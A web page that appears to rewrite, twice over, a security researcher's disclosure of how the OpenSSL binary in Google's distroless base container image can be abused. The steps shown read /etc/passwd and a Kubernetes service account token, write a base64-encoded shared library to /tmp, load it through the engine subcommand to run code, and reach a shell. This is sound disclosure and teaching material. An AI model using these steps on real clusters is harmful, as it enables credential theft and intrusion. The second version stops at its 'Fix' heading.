Skip to content
Misconfiguration Write-up Intermediate

Exploiting Distroless Images

Daniel Teixeira Follow

Published on form3.tech

An abuse of functionality in the OpenSSL binary, installed in the official Google Container Tools Distroless Base container image, allows for command execution and arbitrary file read and write on distroless containers. By abusing the enc functionality in the OpenSSL binary it is possible to read and write to the…

Daniel Teixeira (@TheRedOperator), on form3.tech

The full write-up lives on its author's site

It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 9 min read.

Context

Distroless images are container images that ship only the application and its runtime dependencies. They deliberately omit package managers, shells and the other programs you would expect in a standard Linux distribution. The reduced contents make them attractive for performance, size and security reasons, because the attack surface is smaller. The reduced contents are often recommended for performance, size and security reasons, because the attack surface is smaller.

The subject is the Google Container Tools Distroless Base image, gcr.io/distroless/base. That image installs the OpenSSL package, and the OpenSSL package brings two executable binaries into /usr/bin/: c_rehash and openssl. The openssl binary is an interactive program with a large command set, and several of its subcommands touch the filesystem and load code. That is the feature being abused here: not a memory corruption bug, but functionality that is present by design and reachable from inside the container.

The write-up describes an abuse of functionality in the OpenSSL binary that allows command execution and arbitrary file read and write on distroless containers. Reading and writing come from the enc subcommand and its -in and -out options. Command execution comes from combining the write capability with the engine subcommand, which loads shared libraries: a malicious library is uploaded and then loaded.

Product URLs given in the report:

Setup

The OpenSSL package is pulled into the base image by the bazel script at https://github.com/GoogleContainerTools/distroless/blob/main/base/base.bzl. The relevant part of that script lists the Debian packages placed into the image:

Go
[...snip...]
    container_image(
        name = "base_" + user + "_" + arch + distro_suffix,
        architecture = arch,
        base = ":static_" + user + "_" + arch + distro_suffix,
        debs = [
            DISTRO_PACKAGES[arch][distro_suffix]["libc6"],
            DISTRO_PACKAGES[arch][distro_suffix]["libssl1.1"],
            DISTRO_PACKAGES[arch][distro_suffix]["openssl"],
        ],
    )
[...snip...]

So libc6, libssl1.1 and openssl are installed. Listing the files the OpenSSL package places under bin/ confirms the two binaries:

Go
# dpkg -L openssl | grep bin/
/usr/bin/c_rehash
/usr/bin/openssl

To demonstrate the issue, the author builds a docker container running a simple Golang application on a distroless base image. The application is a loop that prints a greeting every second:

main.go

Go
package main

import (
	"fmt"
	"time"
)

func main() {
	for {
		fmt.Println("Hello world!")
		time.Sleep(time.Second * 1)
	}
}

Dockerfile

Go
FROM golang:1.18 as builder

WORKDIR /go/src/app
ADD . /go/src/app

RUN go get -d -v ./...

RUN go build -o /go/bin/app

FROM gcr.io/distroless/base
COPY --from=builder /go/bin/app /
CMD ["/app"]

The image is built with:

Go
% docker build -t distroless-demo .
[...snip...]

The container is started and the application is confirmed to work:

Go
% docker run --name demo -d distroless-demo
[redacted]
% docker attach demo
Hello world!
Hello world!
Hello world!
read escape sequence

As expected, there is no shell in the container:

Go
% docker exec -it demo /bin/sh
OCI runtime exec failed: exec failed: container_linux.go:380: starting
container process caused: exec: "/bin/sh": stat /bin/sh: no such file or
 directory: unknown

Finding it

The absence of a shell is the property people rely on when they choose a distroless image. The observation here is that the absence of /bin/sh does not mean there is no way to run commands. OpenSSL ships an interactive command prompt, and it can be started in the container even though the shell cannot:

Go
% docker exec -it demo /usr/bin/openssl
OpenSSL>

From that prompt, the full command set is available. Asking for help lists the standard commands, the message digest commands and the cipher commands:

Go
OpenSSL> help
Standard commands
asn1parse         ca                ciphers           cms
crl               crl2pkcs7         dgst              dhparam
dsa               dsaparam          ec                ecparam
enc               engine            errstr            gendsa
genpkey           genrsa            help              list
nseq              ocsp              passwd            pkcs12
pkcs7             pkcs8             pkey              pkeyparam
pkeyutl           prime             rand              rehash
req               rsa               rsautl            s_client
s_server          s_time            sess_id           smime
speed             spkac             srp               storeutl
ts                verify            version           x509

Message Digest commands (see the `dgst' command for more details)
blake2b512        blake2s256        gost              md4
md5               rmd160            sha1              sha224
sha256            sha3-224          sha3-256          sha3-384
sha3-512          sha384            sha512            sha512-224
sha512-256        shake128          shake256          sm3

Cipher commands (see the `enc' command for more details)
aes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb
aes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb
aria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb
aria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1
aria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb
aria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8
aria-256-ctr      aria-256-ecb      aria-256-ofb      base64
bf                bf-cbc            bf-cfb            bf-ecb
bf-ofb           camellia-128-cbc  camellia-128-ecb  camellia-192-cbc
camellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast
cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb
cast5-ofb         des               des-cbc           des-cfb
des-ecb           des-ede           des-ede-cbc       des-ede-cfb
des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb
des-ede3-ofb      des-ofb           des3              desx
rc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc
rc2-cfb           rc2-ecb           rc2-ofb           rc4
rc4-40            seed              seed-cbc          seed-cfb
seed-ecb          seed-ofb          sm4-cbc           sm4-cfb
sm4-ctr           sm4-ecb           sm4-ofb

Two entries in that list matter for what follows: enc, which reads and writes files, and engine, which loads shared libraries.

Exploitation

Step 1: Reading arbitrary files

The enc subcommand takes an input file with -in. Pointing it at a file inside the container prints the file's contents:

Go
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -in /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
OpenSSL>

The output is the container's /etc/passwd, including the nonroot account. No kubectl cp is needed to pull a file out of the container: the binary reads it and prints it. The same enc subcommand with -out writes to the filesystem, which is what the next step uses.

Step 2: Building a library to load

The engine subcommand loads a shared library. The author writes a small library whose bind function runs on load, calls uname and prints the hostname:

Go
#include <openssl/engine.h>
#include <sys/utsname.h>

static int bind(ENGINE *e, const char *id) {

  struct utsname buf;
  uname(&buf);

  printf("Hostname: %s" ,buf.nodename);

  return 1;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

It is compiled with gcc:

Go
sudo apt install openssl-devel -y
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o

The resulting hostname.so is base64 encoded so it can be pasted into the OpenSSL prompt:

Go
base64 ./hostname.so
[redacted]
[...snip...]

Step 3: Writing the payload into the container

Inside the container, enc is used with -d to decode and -a to treat the input as base64, and -out to write the result to /tmp/hostname.so. The base64 text is pasted at the prompt:

Go
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -d -a -out /tmp/hostname.so
[redacted]
[...snip...]
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
OpenSSL>

This is the arbitrary file write: the decoded bytes of the library land at a path of the attacker's choosing inside the container filesystem.

Step 4: Executing the payload

The library is then loaded with the engine subcommand, which runs the bind function and prints the container hostname:

Go
% docker exec -it demo /usr/bin/openssl engine /tmp/hostname.so
Hostname: d68dc92b5c99(/tmp/hostname.so) <NULL>

The bind function ran and printed the hostname returned by uname. The demonstration library only prints a hostname; the same mechanism runs any code the library contains.

Step 5: Reading a Kubernetes service account token

In a cluster, the same read primitive reaches the service account token that Kubernetes mounts into the pod:

Go
% kubectl exec -it distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token
[redacted]
[...snip...]

The output is the beginning of the service account token. The report notes that secrets injected or mounted in the filesystem can be read the same way.

Step 6: Getting an interactive shell

The write primitive and the load primitive together give interactive command execution. The author runs a script that uploads a shell, uploads the payload, executes it and gets a shell:

Go
python3 poc.py
[*] Uploading the shell
[*] Uploading the payload
[*] Executing the payload
[*] Getting a shell
# set
GOTRACEBACK='single'
HOME='/root'
HOSTNAME='distroless'
IFS='
'
KUBERNETES_PORT='tcp://[redacted]:443'
KUBERNETES_PORT_443_TCP='tcp://[redacted]:443'
KUBERNETES_PORT_443_TCP_ADDR='[redacted]'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='[redacted]'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LINENO=''
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='0'
PS1='# '
PS2='> '
PS4='+ '
PWD='/'
SSL_CERT_FILE='/etc/ssl/certs/ca-certificates.crt'
TERM='xterm'
#

The output of set follows the shell prompt. The report does not include the contents of poc.py.

Root cause

The base image still installs the OpenSSL package, and the openssl binary is a general-purpose tool. Its enc subcommand reads and writes arbitrary files through -in and -out, and its engine subcommand loads shared libraries from disk. Each of those is intended behaviour of OpenSSL. Combined, they give read, write and code execution without a shell.

The report says the issue was reported to Google in August 2021 and that Google decided not to fix it. The report does not give Google's reasoning.

Impact

The report describes two attack scenarios.

  1. In a command injection attack, when an application running on a distroless base image executes unsafe user-supplied data, an adversary can abuse OpenSSL to perform actions otherwise not possible, such as reading files or installing custom attack tools.
  2. Where an adversary has obtained access to a Kubernetes cluster, they can abuse OpenSSL on the distroless base image to read service account tokens and secrets injected or mounted in the filesystem, and can gain interactive command execution by uploading a custom shell.

The report does not assign a severity or CVSS score.

Fix

No fix was made. The report states that the issue was reported to Google in August 2021 and that Google decided not to fix it. The report does not describe a patch or a configuration change. Its conclusion is that not all distroless images (static, base and others) are created equal, and that this should be taken into account when selecting a base image for critical projects.

Variants to test

  • Check which binaries a minimal image actually ships. A positive result is any general-purpose tool with file read, file write or library loading options, such as openssl with enc and engine.
  • Try enc -in against a known file in a container you have command execution in. A positive result is the file's contents printed at the prompt.
  • Try enc -d -a -out with base64 input to write a file to a writable path such as /tmp. A positive result is the decoded file appearing at that path.
  • Try engine with a compiled shared library. A positive result is code from the library running, for example printing the container hostname.
  • In a cluster, read /var/run/secrets/kubernetes.io/serviceaccount/token through the same read primitive. A positive result is a JWT being returned.
  • Compare the static and base variants of the distroless image, since the report notes they are not all the same. A positive result is a variant that still contains the OpenSSL binaries.
From the original on form3.tech

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 25 min read.

What happened, in plain words

A company called Form3 published a blog post by Daniel Teixeira about a weakness in a type of container image made by Google. A container image is a packaged bundle that holds an application and everything it needs to run. The bundle is started as a container, which is an isolated box on a computer or server where the application runs. The image in question is called a distroless image, and the idea behind it is that it contains only the application and the libraries the application needs, and nothing else. No package manager (the tool that installs software), no shell (the program that lets a person type commands), no extra utilities. The idea is that with fewer programs inside, there is less for an attacker to use.

The post shows that the base image still contains a program that can read files, write files and run code. The distroless base image still contains a program called OpenSSL. OpenSSL is a well-known tool for cryptography: it can encrypt and decrypt data, create certificates and do many other things. It also has an interactive prompt, a place where you can type commands, much like a shell. The post shows that this prompt can be used to read files, write files and run code inside the container, even though there is no shell. The issue was reported to Google in August 2021, and Google decided not to fix it.

This article walks through the same steps as the original post, but explains each concept from the beginning. If you have never opened a terminal, that is fine. Every command and every piece of output below is copied exactly from the post, and after each one there is a plain-language explanation of what it does and why it was done.

The product and the feature

A distroless image is a container image that ships only the application and its runtime dependencies. Runtime dependencies are the libraries the application needs while it runs, for example a library that handles encrypted network connections. The image deliberately leaves out package managers, shells and the other programs you would expect in a standard Linux distribution. Linux is the operating system that most servers run, and a standard Linux distribution comes with hundreds of small programs. Removing them makes the image smaller, faster to download and, in theory, safer, because there is less software that could be abused.

The subject of the post is the Google Container Tools Distroless Base image, identified as gcr.io/distroless/base. The name is an address: gcr.io is Google's container registry, a place where container images are stored and downloaded from, and distroless/base is the name of the image inside that registry. Think of a registry as an online shop for container images, and the name as the product code.

That image installs the OpenSSL package. A package is a bundle of files that a Linux system installs together, and OpenSSL is one such package. Installing it brings two executable binaries into the /usr/bin/ directory. A binary is a program file that the computer can run, and /usr/bin/ is a standard folder on Linux where user-facing programs live. The two binaries are c_rehash and openssl. The openssl binary is an interactive program with a large command set, and several of its subcommands touch the filesystem and load code. A subcommand is a word you type after the program name to choose what the program should do, like choosing an option from a menu. The feature being abused here is not a memory corruption bug, which is a flaw where a program mishandles data and crashes or misbehaves. It is functionality that is present by design and reachable from inside the container.

The post describes an abuse of functionality in the OpenSSL binary that allows command execution and arbitrary file read and write on distroless containers. Command execution means getting the computer to run a program or a piece of code of your choosing. Arbitrary file read means reading any file the program has permission to read, and arbitrary file write means writing a file to any path the program can write to. Reading and writing come from the enc subcommand and its -in and -out options. The enc subcommand is OpenSSL's encryption and encoding tool: it takes data in, transforms it, and puts data out. The -in option names the file to read from, and -out names the file to write to. Command execution comes from combining the write capability with the engine subcommand, which loads shared libraries. A shared library is a file of compiled code that a program can load at runtime, like a plug-in that adds behaviour. A malicious library is uploaded and then loaded, and its code runs.

The post lists these product URLs:

GitHub is a website where source code is hosted, and those links point to the project that builds the distroless images.

Setup: how the image is built

The OpenSSL package is pulled into the base image by a build script. A build script is a file of instructions that a build tool follows to assemble the image. The tool used here is called bazel, and the script is at https://github.com/GoogleContainerTools/distroless/blob/main/base/base.bzl. The relevant part of that script lists the Debian packages placed into the image. Debian is a Linux distribution, and its packages are the building blocks used here:

Go
[...snip...]
    container_image(
        name = "base_" + user + "_" + arch + distro_suffix,
        architecture = arch,
        base = ":static_" + user + "_" + arch + distro_suffix,
        debs = [
            DISTRO_PACKAGES[arch][distro_suffix]["libc6"],
            DISTRO_PACKAGES[arch][distro_suffix]["libssl1.1"],
            DISTRO_PACKAGES[arch][distro_suffix]["openssl"],
        ],
    )
[...snip...]

Line by line: [...snip...] marks text the post left out. container_image( starts a rule that builds a container image. name = "base_" + user + "_" + arch + distro_suffix, gives the image a name built from pieces: the word base, the user, the processor architecture (the type of chip the image is for) and a suffix naming the Linux distribution. architecture = arch, sets that architecture. base = ":static_" + user + "_" + arch + distro_suffix, says this image is built on top of another image, the static variant. debs = [ starts the list of Debian packages to install. The three entries are libc6, the standard C library that almost every Linux program depends on; libssl1.1, the library that provides the encryption functions; and openssl, the command-line program. The closing brackets end the list and the rule. So libc6, libssl1.1 and openssl are installed. That is the whole point: the image is small, but it does contain OpenSSL.

Listing the files the OpenSSL package places under bin/ confirms the two binaries:

Go
# dpkg -L openssl | grep bin/
/usr/bin/c_rehash
/usr/bin/openssl

Line by line: dpkg is the Debian package manager, the tool that installs and inspects packages. -L openssl asks it to list every file that belongs to the package named openssl. The vertical bar | is a pipe: it takes the output of the command on the left and feeds it to the command on the right. grep bin/ filters that output, keeping only lines that contain the text bin/. The result is two lines: /usr/bin/c_rehash and /usr/bin/openssl. This step was taken to prove that the OpenSSL program really is inside the image, rather than assuming it.

To demonstrate the issue, the author builds a docker container running a simple Golang application on a distroless base image. Docker is a popular tool for building and running containers. Golang, often shortened to Go, is a programming language. The application is a loop that prints a greeting every second:

main.go

Go
package main

import (
	"fmt"
	"time"
)

func main() {
	for {
		fmt.Println("Hello world!")
		time.Sleep(time.Second * 1)
	}
}

Line by line: package main declares that this file is the main program. import ( starts the list of libraries the program uses: fmt for printing text, and time for working with time. func main() { starts the main function, the place where the program begins. for { starts an endless loop. fmt.Println("Hello world!") prints the words Hello world! followed by a new line. time.Sleep(time.Second * 1) pauses for one second. The closing braces end the loop and the function. The program therefore prints a greeting once a second, forever. It is deliberately trivial: the point is not the application but the image it runs on.

Dockerfile

Go
FROM golang:1.18 as builder

WORKDIR /go/src/app
ADD . /go/src/app

RUN go get -d -v ./...

RUN go build -o /go/bin/app

FROM gcr.io/distroless/base
COPY --from=builder /go/bin/app /
CMD ["/app"]

Line by line: FROM golang:1.18 as builder starts the first stage of a two-stage build, using an image that already contains the Go compiler, and names this stage builder. WORKDIR /go/src/app sets the working directory inside that stage. ADD . /go/src/app copies the files from the current folder on the author's computer into the image. RUN go get -d -v ./... downloads the libraries the program needs. RUN go build -o /go/bin/app compiles the program into a binary called app. Then FROM gcr.io/distroless/base starts the second stage from the distroless base image, which is the image under discussion. COPY --from=builder /go/bin/app / copies only the compiled binary from the first stage into the second, so the compiler and all the build tools are left behind. CMD ["/app"] says that when the container starts, it should run the program at /app. This two-stage pattern is why distroless images are small: the heavy build tools stay in the first stage and never reach the final image.

The image is built with:

Go
% docker build -t distroless-demo .
[...snip...]

Line by line: docker build tells Docker to build an image. -t distroless-demo gives the resulting image a tag, which is a name, here distroless-demo. The dot at the end says the build instructions are in the current folder. [...snip...] marks output the post left out. This step turns the Dockerfile into an image that can be run.

The container is started and the application is confirmed to work:

Go
% docker run --name demo -d distroless-demo
[redacted]
% docker attach demo
Hello world!
Hello world!
Hello world!
read escape sequence

Line by line: docker run starts a container from an image. --name demo gives the container the name demo so it can be referred to later. -d means detached, so the container runs in the background and the terminal is free again. distroless-demo is the image to run. The long string of letters and numbers printed next is the container's identifier. docker attach demo connects the terminal to the running container so its output is visible. The three Hello world! lines show the application working as intended. read escape sequence is the terminal reporting that the author pressed the key combination to detach again. This step was taken to show a healthy, normal container before anything is abused.

As expected, there is no shell in the container:

Go
% docker exec -it demo /bin/sh
OCI runtime exec failed: exec failed: container_linux.go:380: starting
container process caused: exec: "/bin/sh": stat /bin/sh: no such file or
 directory: unknown

Line by line: docker exec asks Docker to run a program inside an already running container. -it means interactive and terminal: it connects your keyboard and screen to the program. demo is the container name. /bin/sh is the path of the standard shell, the program that reads commands you type. The error message says the container runtime, the low-level software that starts containers, could not start the process because /bin/sh does not exist: stat /bin/sh: no such file or directory. This is exactly what a distroless image promises. It is also the assumption the rest of the post tests.

Finding it: the shell is missing, but OpenSSL is not

The absence of a shell is the property people rely on when they choose a distroless image. The observation here is that the absence of /bin/sh does not mean there is no way to run commands. OpenSSL ships an interactive command prompt, and it can be started in the container even though the shell cannot:

Go
% docker exec -it demo /usr/bin/openssl
OpenSSL>

Line by line: this is the same docker exec -it demo as before, but instead of /bin/sh it runs /usr/bin/openssl, the OpenSSL program. OpenSSL starts and shows its own prompt, OpenSSL>, waiting for a command. The prompt looks like a shell prompt but it is not a shell: it only understands OpenSSL's own commands. That is enough, because some of those commands can touch files and load code. This step was taken to show that the missing shell does not remove the ability to interact with the container.

From that prompt, the full command set is available. Asking for help lists the standard commands, the message digest commands and the cipher commands:

Go
OpenSSL> help
Standard commands
asn1parse         ca                ciphers           cms
crl               crl2pkcs7         dgst              dhparam
dsa               dsaparam          ec                ecparam
enc               engine            errstr            gendsa
genpkey           genrsa            help              list
nseq              ocsp              passwd            pkcs12
pkcs7             pkcs8             pkey              pkeyparam
pkeyutl           prime             rand              rehash
req               rsa               rsautl            s_client
s_server          s_time            sess_id           smime
speed             spkac             srp               storeutl
ts                verify            version           x509

Message Digest commands (see the `dgst' command for more details)
blake2b512        blake2s256        gost              md4
md5               rmd160            sha1              sha224
sha256            sha3-224          sha3-256          sha3-384
sha3-512          sha384            sha512            sha512-224
sha512-256        shake128          shake256          sm3

Cipher commands (see the `enc' command for more details)
aes-128-cbc       aes-128-ecb       aes-192-cbc       aes-192-ecb
aes-256-cbc       aes-256-ecb       aria-128-cbc      aria-128-cfb
aria-128-cfb1     aria-128-cfb8     aria-128-ctr      aria-128-ecb
aria-128-ofb      aria-192-cbc      aria-192-cfb      aria-192-cfb1
aria-192-cfb8     aria-192-ctr      aria-192-ecb      aria-192-ofb
aria-256-cbc      aria-256-cfb      aria-256-cfb1     aria-256-cfb8
aria-256-ctr      aria-256-ecb      aria-256-ofb      base64
bf                bf-cbc            bf-cfb            bf-ecb
bf-ofb           camellia-128-cbc  camellia-128-ecb  camellia-192-cbc
camellia-192-ecb  camellia-256-cbc  camellia-256-ecb  cast
cast-cbc          cast5-cbc         cast5-cfb         cast5-ecb
cast5-ofb         des               des-cbc           des-cfb
des-ecb           des-ede           des-ede-cbc       des-ede-cfb
des-ede-ofb       des-ede3          des-ede3-cbc      des-ede3-cfb
des-ede3-ofb      des-ofb           des3              desx
rc2               rc2-40-cbc        rc2-64-cbc        rc2-cbc
rc2-cfb           rc2-ecb           rc2-ofb           rc4
rc4-40            seed              seed-cbc          seed-cfb
seed-ecb          seed-ofb         sm4-cbc           sm4-cfb
sm4-ctr           sm4-ecb           sm4-ofb

Line by line: help is the command typed at the OpenSSL prompt. OpenSSL answers with three groups. The first group, Standard commands, lists general-purpose commands such as enc and engine. The second group, Message Digest commands, lists hashing algorithms, which turn data into a short fixed-length fingerprint. The third group, Cipher commands, lists encryption algorithms such as aes-256-cbc and base64. The note (see the dgst' command for more details)points to another command for more information. Two entries in that list matter for what follows:enc, which reads and writes files, and engine`, which loads shared libraries. This step was taken to show that the prompt is not a toy: it exposes a large set of operations, including the two that will be abused.

Exploitation

Step 1: Reading arbitrary files

The enc subcommand takes an input file with -in. Pointing it at a file inside the container prints the file's contents:

Go
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -in /etc/passwd
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin
OpenSSL>

Line by line: the first line opens the OpenSSL prompt inside the container, as before. enc -in /etc/passwd tells OpenSSL to run its enc command and read from the file /etc/passwd. /etc/passwd is a standard Linux file that lists the user accounts on the system: each line has a username, a placeholder for the password, a numeric user identifier, a group identifier, a home folder and a login program. The three lines shown are the accounts root, nobody and nonroot, with their identifiers and home folders. OpenSSL reads the file and prints its contents at the prompt. This step was taken to show arbitrary file read: no kubectl cp is needed to pull a file out of the container. kubectl cp is a command from Kubernetes, the system that manages containers across many machines, that copies files into and out of containers. Here the binary reads the file and prints it, so the file leaves the container through the terminal. The same enc subcommand with -out writes to the filesystem, which is what the next step uses.

Step 2: Building a library to load

The engine subcommand loads a shared library. The author writes a small library whose bind function runs on load, calls uname and prints the hostname:

Go
#include <openssl/engine.h>
#include <sys/utsname.h>

static int bind(ENGINE *e, const char *id) {

  struct utsname buf;
  uname(&buf);

  printf("Hostname: %s" ,buf.nodename);

  return 1;
}

IMPLEMENT_DYNAMIC_BIND_FN(bind)
IMPLEMENT_DYNAMIC_CHECK_FN()

Line by line: #include <openssl/engine.h> and #include <sys/utsname.h> pull in two header files, which are files that declare the functions and types used below. static int bind(ENGINE *e, const char *id) { defines a function named bind that OpenSSL will call when it loads the library; it takes two arguments, an engine pointer and an identifier string, and returns an integer. struct utsname buf; declares a variable that will hold information about the system. uname(&buf); fills that variable with the system information, including the hostname, which is the name of the machine. printf("Hostname: %s" ,buf.nodename); prints the word Hostname followed by the machine's name. return 1; reports success. The closing brace ends the function. IMPLEMENT_DYNAMIC_BIND_FN(bind) and IMPLEMENT_DYNAMIC_CHECK_FN() are macros, which are pieces of code that expand into larger code, that wire the bind function into OpenSSL's dynamic engine mechanism. In plain terms: this library does one harmless thing, print the hostname, so that when it runs you can see that it ran. It is a proof of concept, not an attack tool.

It is compiled with gcc:

Go
sudo apt install openssl-devel -y
gcc -fPIC -o hostname.o -c hostname.c && gcc -s -shared -o hostname.so -lcrypto hostname.o

Line by line: sudo runs the next command with administrator rights. apt install openssl-devel -y installs the development files for OpenSSL, which are the header files the library needs to compile; -y answers yes to the confirmation prompt. gcc is the GNU C compiler, the program that turns C source code into machine code. -fPIC means position-independent code, a way of compiling that lets the resulting code be loaded anywhere in memory, which shared libraries require. -o hostname.o names the output file. -c hostname.c compiles the source file hostname.c without linking it yet. The && means run the next command only if this one succeeded. The second gcc invocation uses -s to strip symbols, which removes debugging names and makes the file smaller, -shared to produce a shared library rather than a program, -o hostname.so to name the output, -lcrypto to link against the OpenSSL crypto library, and hostname.o as the input. The result is hostname.so, a shared library file. This step was taken because the engine command needs a compiled library to load; source code alone cannot be loaded.

The resulting hostname.so is base64 encoded so it can be pasted into the OpenSSL prompt:

Go
base64 ./hostname.so
[redacted]
[...snip...]

Line by line: base64 is a program that converts binary data into plain text made of letters, digits and a few symbols. ./hostname.so is the file to convert; the ./ means the file is in the current folder. The output begins with f0VMRgIBAQ..., which is the base64 form of the library's first bytes. [...snip...] marks the rest of the output, which the post left out because it is long. This step was taken because the OpenSSL prompt accepts typed text, not a file upload. Binary data cannot be typed directly, but base64 text can, and OpenSSL can decode it back to the original bytes.

Step 3: Writing the payload into the container

Inside the container, enc is used with -d to decode and -a to treat the input as base64, and -out to write the result to /tmp/hostname.so. The base64 text is pasted at the prompt:

Go
% docker exec -it demo /usr/bin/openssl
OpenSSL> enc -d -a -out /tmp/hostname.so
[redacted]
[...snip...]
AAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAA
OpenSSL>

Line by line: the first line opens the OpenSSL prompt. enc -d -a -out /tmp/hostname.so runs the enc command with three options: -d means decode rather than encode, -a means the input is base64 text, and -out /tmp/hostname.so means write the result to the file /tmp/hostname.so. /tmp is a standard folder for temporary files, and it is usually writable. The base64 text pasted on the following lines is the input; OpenSSL reads it, decodes it back into the original binary bytes, and writes those bytes to the file. The prompt returns when the input ends. This is the arbitrary file write: the decoded bytes of the library land at a path of the attacker's choosing inside the container filesystem. This step was taken because the library has to exist as a file inside the container before it can be loaded.

Step 4: Executing the payload

The library is then loaded with the engine subcommand, which runs the bind function and prints the container hostname:

Go
% docker exec -it demo /usr/bin/openssl engine /tmp/hostname.so
Hostname: d68dc92b5c99(/tmp/hostname.so) <NULL>

Line by line: this runs OpenSSL directly with arguments instead of opening the prompt. engine is the subcommand, and /tmp/hostname.so is the library to load. OpenSSL loads the library, calls its bind function, and the function prints Hostname: d68dc92b5c99, which is the container's hostname. The text in parentheses, (/tmp/hostname.so), and <NULL> are part of OpenSSL's engine listing output. The bind function ran and printed the hostname returned by uname. The demonstration library only prints a hostname; the same mechanism runs any code the library contains. This step was taken to show command execution: code chosen by the author ran inside a container that has no shell.

Step 5: Reading a Kubernetes service account token

In a cluster, the same read primitive reaches the service account token that Kubernetes mounts into the pod. A Kubernetes cluster is a group of machines managed together to run containers. A pod is the smallest unit Kubernetes runs, usually one container plus its settings. A service account is an identity that a pod uses to talk to the cluster, and its token is a credential, like a password, that proves that identity. Kubernetes mounts the token into the pod's filesystem so the application can read it:

Go
% kubectl exec -it distroless -- /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token
[redacted]
[...snip...]

Line by line: kubectl is the command-line tool for talking to a Kubernetes cluster. exec asks it to run a program inside a pod. -it connects your keyboard and screen. distroless is the name of the pod. -- separates kubectl's own options from the command to run inside the pod. /usr/bin/openssl enc -in /var/run/secrets/kubernetes.io/serviceaccount/token runs OpenSSL's enc command with -in pointing at the token file, so the file's contents are printed. The output begins with eyJhbGciOiJSUzI1NiIs..., the start of the service account token. [...snip...] marks the rest of the token, which the post left out. The report notes that secrets injected or mounted in the filesystem can be read the same way. This step was taken to show that the read primitive reaches the service account token in a cluster.

Step 6: Getting an interactive shell

The write primitive and the load primitive together give interactive command execution. The author runs a script that uploads a shell, uploads the payload, executes it and gets a shell:

Go
python3 poc.py
[*] Uploading the shell
[*] Uploading the payload
[*] Executing the payload
[*] Getting a shell
# set
GOTRACEBACK='single'
HOME='/root'
HOSTNAME='distroless'
IFS='
'
KUBERNETES_PORT='tcp://[redacted]:443'
KUBERNETES_PORT_443_TCP='tcp://[redacted]:443'
KUBERNETES_PORT_443_TCP_ADDR='[redacted]'
KUBERNETES_PORT_443_TCP_PORT='443'
KUBERNETES_PORT_443_TCP_PROTO='tcp'
KUBERNETES_SERVICE_HOST='[redacted]'
KUBERNETES_SERVICE_PORT='443'
KUBERNETES_SERVICE_PORT_HTTPS='443'
LINENO=''
OPTIND='1'
PATH='/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'
PPID='0'
PS1='# '
PS2='> '
PS4='+ '
PWD='/'
SSL_CERT_FILE='/etc/ssl/certs/ca-certificates.crt'
TERM='xterm'
#

Line by line: python3 poc.py runs a Python script named poc.py; Python is a programming language, and poc stands for proof of concept. The four lines starting with [*] are the script's progress messages: it uploads a shell program, uploads the payload, executes the payload, and gets a shell. The # prompt that follows is the shell prompt. set is a shell command that prints the shell's environment, which is the collection of named values that programs use for configuration. Each line has the form name='value'. GOTRACEBACK='single' and HOME='/root' are settings for the Go runtime and the home folder. HOSTNAME='distroless' is the container's name. IFS holds the characters used to split words, here a newline. The KUBERNETES_* lines describe how to reach the cluster's API server: the host and port, and the same values in the form Kubernetes injects for services. LINENO, OPTIND, PPID, PS1, PS2, PS4, PWD and TERM are shell settings such as the prompt text and the terminal type. PATH lists the folders searched for programs. SSL_CERT_FILE points at the file holding trusted certificates. The final # is the prompt waiting for the next command. The report does not include the contents of poc.py. This step was taken to show the end result: a full interactive shell inside an image that was supposed to have none.

Root cause

The base image still installs the OpenSSL package, and the openssl binary is a general-purpose tool. Its enc subcommand reads and writes arbitrary files through -in and -out, and its engine subcommand loads shared libraries from disk. Each of those is intended behaviour of OpenSSL. Combined, they give read, write and code execution without a shell. The report says the issue was reported to Google in August 2021 and that Google decided not to fix it. The report does not give Google's reasoning.

Impact

The report describes two attack scenarios.

  1. In a command injection attack, when an application running on a distroless base image executes unsafe user-supplied data, an adversary can abuse OpenSSL to perform actions otherwise not possible, such as reading files or installing custom attack tools. Command injection means tricking an application into running commands that were hidden inside data it was given, for example a form field that is passed to a program.
  2. Where an adversary has obtained access to a Kubernetes cluster, they can abuse OpenSSL on the distroless base image to read service account tokens and secrets injected or mounted in the filesystem, and can gain interactive command execution by uploading a custom shell.

The report does not assign a severity or CVSS score. CVSS is a standard scoring system for the severity of a vulnerability.

Fix

